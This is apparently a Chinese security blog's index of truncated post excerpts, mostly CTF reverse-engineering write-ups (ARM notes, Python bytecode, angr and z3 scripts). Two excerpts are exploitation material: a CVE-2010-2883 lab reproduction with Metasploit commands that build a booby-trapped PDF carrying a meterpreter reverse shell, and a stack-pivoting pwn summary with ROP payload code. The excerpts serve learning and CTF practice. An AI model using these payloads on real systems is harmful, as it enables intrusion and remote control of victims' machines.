SCTF
@TOC
这次比赛还是发现了自己的很多不足,第一个是内核类的题目比较陌生,导致有几个内核题我帮不上什么忙,再一个就是开发水平太菜了,推箱子那个游戏硬是卡了好长时间,最后差一点点但是放弃了比赛后,也是打算好好的把这次题目复现一下,虽然题目难,但也不至于像看雪那么难~
被师傅们带飞
godness dance这个应该是签到re题里面的签到题,赛后也是看了一下别的wp,直接动态调试,测试几组数据就可以理解程序的逻辑,我当时是动调到一半发现了规律,后面那一大串代码并没有什么阻碍后,把正向算法直接列了出来。
输入长度28位 a~z各一个 再加个i和u正向算法 一共三个循环
123456789101112131415161718192021222324252627282930313233#include<stdio.h>char a[100]={ 0x00000002, 0x0000001A, 0x00000011, 0x0000001C, 0x00000018, 0x0000000B, 0x00000015, 0x0000000A, 0x00000010, ...
arm指令学习
@TOC
简介上一周打hxp的时候,遇到了一个3dsx的题,题目本身是拿arm架构写的,当我想更改汇编代码从而破解游戏的时候,不得以对每一条想知道的汇编指令进行搜索,加上后面用angr爆破的想法也因为arm退却(这个寒假搞定他,我觉得这会是一个很有用的解题手段),所以化了几个小时简单过了一下指令,且边写边学。
arm简介精简指令集(RISC)对于大部分的32位嵌入式都用armarm还有很多很多型号可以参考这个视频:ARM那些你得知道的事儿
寄存器参考######################共有37个32位的寄存器31个通用寄存器6个状态寄存器这些不一定可以同时访问,但r0-r14(通用寄存器),pc/r15(程序计数器),一个状态寄存器可以同时被访问######################r0-r7未分组寄存器r8-r14分组寄存器r15/pc 程序寄存器
r13 常用作堆栈指针sp 类似于rspr14/lr 常用作存储返回地址 (link)r15/pc 当前指令+8个字节 类似于eip+8r16/cpsr 状态寄存器 ...
字节码(Hitcon-cclemon)
@TOC{}在复现hitcon cclemon前,先复习一下python的字节码
python字节码字节码格式:源码行号 | 指令偏移量 | 指令符号 | 指令参数 | 实际参数值
python3.6之前 每条指令三个字节python3.6开始每条指令两个字节(大部分)
常见的字节码指令
12345678910111213141516171819202122232425262728LOAD_GLOBAL#全局变量LOAD_FAST#局部变量LOAD_CONST#常量LOAD_ATTR#对象中的属性ROT_TWO #互换元素STORE_FAST #保存局部变量STORE_GLOBAL#保存全局变量BUILD_LIST #创建列表BUILD_SLICE #创建切片BINARY_SUBSCR # 读取slice 的值STORE_SUBSCR #slice 的值赋值给变量SETUP_LOOP #用于开始一个循环 参数值代表循环结束点JUMP_ABSOLUTE: #结束循环POP_JUMP_IF_FALSE :#条件结果为 FALSE 则跳出 目标的偏移指令JUMP_FORWARD ...
Dragon-runofthemill
@TOC
起因题目长这样,祥云杯类似题我第一反应 拿angr去跑一遍,然后准备喝茶,后来southwood大哥,也写了angr脚本,我就两个一起跑,直到pizza出了后,我明白了一个道理angr=等死
angr做法赛后,也是socular给我发了一个angr脚本,还真是一跑就出来了,就趁着此时,复习了一波angr,把之前的angr知识过了一遍,重新做题这题用到的就是blank对象,条件约束,.bss地址固定写入
123456789p.factory.blank_state.blank_state()#构造了一个“空白石板”空白状态,其大部分数据未初始化。u = claripy.BVS("u", 8)state.memory.store(0x804a021, u)#给bss数据赋值tate.add_constraints(input.get_byte(i) != 0)#添加条件add_options={angr.options.LAZY_SOLVES} #加速用的
作者:acdwas
12345678910111213141516171819202 ...
西湖论剑
@TOC
ror我第一个想到的办法是z3 然后看见下标了,就没有用 ,去手算,事实证明,我脑袋不对
12345678910111213141516171819202122from z3 import*Str=[BitVec(('x%d'%i),8) for i in range(40)]s=Solver()a=[0,181,122,206,37,108,7,223,0,251,124,38,75,62,134,154,0,255,37,144,255,28,56,176,0,231,60,121,225,144,251,30,0,204,179,51,78,145,65,222]v6=[128,64,32,16,8,4,2,1]for i in range(0,40,8): for j in range(0,8,1): v5=((v6[j] & Str[i + 3]) << (8 - (3 - j) % 8)) | ((v6[j] & Str[i + 3]) >> ((3 - j) % 8)) | ( ...
深育杯
@TOC
press类似brainfuck的一个解释器
主要的函数逻辑都在sub_40094b里
经过动态调试后,可以发现逻辑如下1 str=str+0xa02 str=str-flag[i]3 str*=54str+=2
同时前一位的输出作为下一位的输入(str)
写爆破脚本
123456789101112131415161718192021222324252627282930313233343536#include<stdio.h>#include<string.h>unsigned char a[100]={ 0,96 ,225 ,47 ,5 ,121 ,128 ,94 ,225 ,197, 87 ,139, 204 ,92, 154 ,103 ,38 ,30 ,25 ,175 ,147 ,63 ,9 , 226 ,151, 153, 123 ,134 ,193 ,37 , 135, 214, 12 ,221, 207, 42 , 245, 101, 14 , 115, 89 ,29 , 95 , 164 ,244 ...
CVE-2010-2883
@TOC
简介Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。环境:adobe reader 9.3kali (虚拟机)winxp(靶机)
漏洞复现1生成pdf木马文件
123456789msfconsole #进入mfssearch adobe_cooltype_sing #搜索模块use exploit/windows/fileformat/adobe_cooltype_sing/ #调用模块info #查看信息set payload windows/meterpreter/reverse_tcp #调用meterpreter载荷,反向连接到渗透机 set LHOST 192.168.244.146 #kali ipset LPORT 8888 #端口set FILENAME PINGINGLAB.pdf #设置带有后门程序的PDF文件exploit #生成pdf
2 Metasploit开启shell监听会话,等待winxp打开pdf
12345use exploit/multi/hand ...
告别2021,启动2022(记事篇)
18c641843e597c01c3cc995e4a8f3faaa102222f17c15fe2fa2485624b0417bda735309c84fd6a7dd6c5b37fae53980ecf4d513945c9740717e54e74164a3fffe223bcffa7e8069f09a5515e133432196473d32ce513736704f75f69c7f74c4c9a9144142b57e2fa60dfd7d7725e5a1c69c4f0ec8838987aa1e1d7f58313b1b224bb4021b50a72bc8bdd6044ebc3f9040e50004333928e64c70420ab4a09beb7a159fa02fb771daf8a95f4f1e856062e6eee4348f7cd562c832c963b82391692f1cbe68503151cadf26a33b1b3750753243d849afa9e19578557d8dd8eb254f4e932b3421c1efa8dfbae946f61c81c516ed89168b29d3cbc6 ...
Hack.lu.CTF
@TOC先复现两个low难度的提目,后面的题目再看看(2021.11.2 更:继续复现了ollvm)
pycoinpyc文件反编译后
1234567891011# uncompyle6 version 3.7.4# Python bytecode 3.8 (3413)# Decompiled from: Python 3.7.10 (default, May 3 2021, 02:48:31) # [GCC 7.5.0]# Embedded file name: challenge_generated.py# Compiled at: 2021-10-27 14:40:15# Size of source mod 2**32: 2836 bytesimport marshalmarshalled = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\xf3\xf0\x01\x00\x00n\x02tcd\x00d\x01l\x ...
栈迁移
@TOC
最近做了很多栈迁移的题目,做个总结
条件栈溢出时,返回地址只剩下1字长 无法构造pop链
栈迁移利用连续的两次 leave_ret 达到控制esp的目的第一次leave_ret去控制假的ebp第二次leave_ret去控制esp迁移的地方需要有写的权限
思路1(两次read情况)第一次read的时候把我们要迁移的地方覆盖ebp 返回地址填leave_ret第二次read的时候来构造我们迁移的地方
例题1:gyctf_2020_borrowstack可以看到第一次在栈上读,溢出只有8字节第二次在bss上读,可以用来构造payload
123456payload='a'*(0x60)+p64(bank_addr+0xd0)+p64(leave_ret)io.send(payload)io.recvuntil('Done!You can check and use your borrow stack now!\n')payload='a'*(8+0xd0)+p64(pop_rdi)+p64(read_got)+p64(pu ...